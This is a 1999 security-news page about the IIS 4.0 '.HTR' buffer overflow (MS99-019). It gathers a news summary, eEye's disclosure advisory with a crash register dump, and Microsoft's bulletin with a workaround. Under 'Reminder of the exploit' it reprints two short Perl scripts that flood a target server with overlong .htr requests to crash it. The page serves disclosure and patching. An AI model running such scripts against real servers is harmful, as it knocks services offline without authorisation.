| Telecom and Logistics Associates |
|
| Save Time and Money
TLAnews: Security NEWs Service |
|
En français: Une
ancienne vulnerabilité du serveur web IIS de Microsoft se trouve encore sur
beaucoup de sites |
|
|
|
Once overloaded, the DLL is disabled and the content of the overflow "bleeds" into the system.
The overflow executable program can be used to run a system-level program that will deliver the equivalent of a DOS command window to an attacker's PC.
To demonstrate the hole, eEye wrote a program called IIS Hack that will enable users to crack and execute code on any IIS 4.0 Web Server.
However, disabling or removing the .htr password utility will not fix the problem, according to Bushnaq. "You have got to go through a series of steps to remove the faulty [code]."
Eeye discovered the problem while beta testing a network security auditing tool.
Patch is referenced on Microsoft Security Web site
Microsoft Security Bulletin (MS99-019) : Patch Available for "Malformed HTR Request" Vulnerability
Reminder of the exploit
tested, this works for me... scripting was turned on... perl exploit
code follows:
#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
{
$obj=Net::Telnet->new( Host
=> "$ARGV[0]",Port => 80);
my $cmd = "GET /". 'A'
x $i . ".htr HTTP/1.0\n";
print
"$cmd\n";$obj->print("$cmd");
$obj->close;
}
It's silly to use Net::Telnet for HTTP:
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a'
x $i).".htr";
}
/ eEye - Digital Security Team <eeye@EEYE.COM>
wrote:
| Retina vs. IIS4, Round 2
|
| Systems Affected:
|
| Internet Information Server 4.0 (IIS4)
| Microsoft Windows NT 4.0 SP3 Option Pack 4
| Microsoft Windows NT 4.0 SP4 Option Pack 4
| Microsoft Windows NT 4.0 SP5 Option Pack 4
|
| Release Date:
|
| June 8, 1999
|
| Advisory Code:
|
| AD06081999
|
| Description:
|
| We have been debating how to start out this advisory. How do you explain
| that 90% or so of the Windows NT web servers on the Internet are open to a
| hole that lets an attacker execute arbitrary code on the remote web server?
| So the story starts...
|
| The Goal:
|
| Find a buffer overflow that will affect 90% of the Windows NT web servers on
| the Internet. Exploit this buffer overflow.
|
| The Theory:
|
| There will be overflows in at least one of the default IIS filtered
| extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take
| place is that IIS will pass the full URL to the DLL that handles the
| extension. Therefore if the ISAPI DLL does not do proper bounds checking it
| will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
| execute arbitrary code on the remote server.
|
| Entrance Retina:
|
| At the same time of working on this advisory we have been working on the AI
| mining logic for Retina's HTTP module. What better test scenario than this?
| We gave Retina a list of 10 or so extensions common to IIS and instructed it
| to find any possible holes relating to these extensions.
|
| The Grind:
|
| After about an hour Retina found what appeared to be a hole. It displayed
| that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the
server.
| We all crossed our fingers, started up the good ol' debugger and had Retina
| hit the server again.
|
| Note: [overflow] is 3k or so characters... but we will not get into the
| string lengths and such here. View the debug info and have a look for
| yourself.
|
| The Registers:
|
| EAX = 00F7FCC8 EBX = 00F41130
| ECX = 41414141 EDX = 77F9485A
| ESI = 00F7FCC0 EDI = 00F7FCC0
| EIP = 41414141 ESP = 00F4106C
| EBP = 00F4108C EFL = 00000246
|
| Note: Retina was using "A" (0x41 in hex) for the character to
overflow with.
| If you're not familiar with buffer overflows a quick note would be that
| getting our bytes into any of the registers is a good sign, and directly
| into EIP makes it even easier :)
|
| Explain This:
|
| The overflow is in relation to the .HTR extensions. IIS includes the
| capability to allow Windows NT users to change their password via the web
| directory /iisadmpwd/. This feature is implemented as a set of .HTR files
| and the ISAPI extension file ISM.DLL. So somewhere along the line when the
| URL is passed through to ISM.DLL, proper bounds checking is not done and our
| overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default
| on IIS4 servers. Looks like we got our 90% of the Windows NT web servers
| part down. However, can we exploit this?
|
| The Exploit:
|
| Yes. We can definitely exploit this and we have. We will not go into much
| detail here about how the buffer is exploited and such. Read the comments in
| the asm file for more information. However, one nice thing to note is that
| the exploit has been crafted in such a way to work on SP4 and SP5 machines,
| therefore there is no guessing of offsets and possible accidental crashing
| of the remote server. We have not tested the exploit on SP3 and would love
| to know if it works or not. eMail alert@eEye.com
if you've successfully
| exploited this hole on SP3.
|
| For more details about the exploit visit the eEye web site at www.eEye.com
|
| The Fallout:
|
| Almost 90% of the Windows NT web servers on the Internet are affected by
| this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
| No, we did not try it on the above mentioned. But it is easy to verify if a
| web server is exploitable without using the exploit. Even a server that's
| locked in a guarded room behind a Cisco Pix can be broken into with this
| hole. This is a reminder to all software vendors that testing for common
| security holes in your software is a must. Demand more from your software
| vendors.
|
| The Request. (Well one anyway.)
|
| Dear Microsoft,
|
| One of the things that we found out is that IIS did not log any trace of our
| attempted hack. We recommend that you pass all server requests to the
| logging service before passing it to any ISAPI filters etc...The logging
| service should be, as named, an actual service running in a separate memory
| space so that when inetinfo goes down intrusion signatures are still logged.
Microsoft Security Bulletin (MS99-019)
--------------------------------------
Workaround Available for "Malformed HTR Request" Vulnerability
Originally Posted: June 15, 1999
Summary
=======
Microsoft has released a patch that eliminates a vulnerability in Microsoft
(r) Internet Information Server 4.0. The vulnerability could allow denial
of service attacks against an IIS server or, under certain conditions,
could allow arbitrary code to be run on the server.
Microsoft has issued this bulletin to advise customers of steps they can
take to protect themselves against this vulnerability. A patch to eliminate
this vulnerability is being developed, and an update to this bulletin will
be released to advise customers when it is available.
Issue
=====
IIS supports several file types that require server-side processing. When a
web site visitor requests a file of one of these types, an appropriate
filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
that processes .HTR files. HTR files enable remote administration of user
passwords.
The vulnerability involves an unchecked buffer in ISM.DLL. This poses two
threats to safe operation. The first is a denial of service threat. A
malformed request for an .HTR file could overflow the buffer, causing IIS
to crash. The server would not need to be rebooted, but IIS would need to
be restarted. The second threat would be more difficult to exploit. A
carefully-constructed file request could cause arbitrary code to execute on
the server via a classic buffer overrun technique. Neither scenario could
occur accidentally. This vulnerability does not involve the functionality
of the password administration features of .HTR files.
While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this bulletin to allow
customers to take appropriate action to protect themselves against it.
Affected Software Versions
==========================
- Microsoft Internet Information Server 4.0
What Microsoft is Doing
=======================
Microsoft has provided a workaround that fixes the problem identified. The
workaround is discussed below in What Customers Should Do.
Microsoft also has sent this security bulletin to customers
subscribing to the Microsoft Product Security Notification Service.
See http://www.microsoft.com/security/services/bulletin.asp
for more
information about this free customer service.
What Customers Should Do
========================
Microsoft highly recommends that customers disable the script mapping for
.HTR files as follows:
- From the desktop, start the Internet Service Manager
by clicking Start | Programs | Windows NT 4.0 Option
Pack | Microsoft Internet Information Server | Internet
Service Manager
- Double-click "Internet Information Server"
- Right-click on the computer name and select Properties
- In the Master Properties drop-down box, select "WWW Service",
then click the "Edit" button .
- Click the "Home Directory" tab, then click the
"Configuration"
button .
- Highlight the line in the extension mappings that contains
".HTR",
then click the "Remove" button.
- Respond "yes" to "Remove selected script mapping?"
say yes,
click OK 3 times, close ISM
A patch will be available shortly to eliminate the vulnerability altogether.
Customers should monitor http://www.microsoft.com/security
for an
announcement when the patches are available.
Microsoft recommends that customers review the IIS Security Checklist at
http://www.microsoft.com/security/products/iis/CheckList.asp
More Information
================
Please see the following references for more information related to this
issue.
- Microsoft Security Bulletin MS99-019,
Workaround Available for "Malformed HTR Request"
Vulnerability
(The Web-posted version of this bulletin),
http://www.microsoft.com/security/bulletins/ms99-019.asp.
- IIS Security Checklist,
http://www.microsoft.com/security/products/iis/CheckList.asp
Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.
Revisions
=========
- June 15, 1999: Bulletin Created.
For additional security-related information about Microsoft products,
please visit http://www.microsoft.com/security
------------------------------------------------------------------
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS
IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.
(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
Author information.
|
All information provided is of a general nature and is not
intended to address the circumstances of any particular individual or entity.
Although we endeavor to provide accurate and timely information, there can be no
guarantee that such information is accurate as of the date it is received or
that it will continue to be accurate in the future. No one should act upon such
information without appropriate professional advice after a thorough examination
of the facts of the particular situation.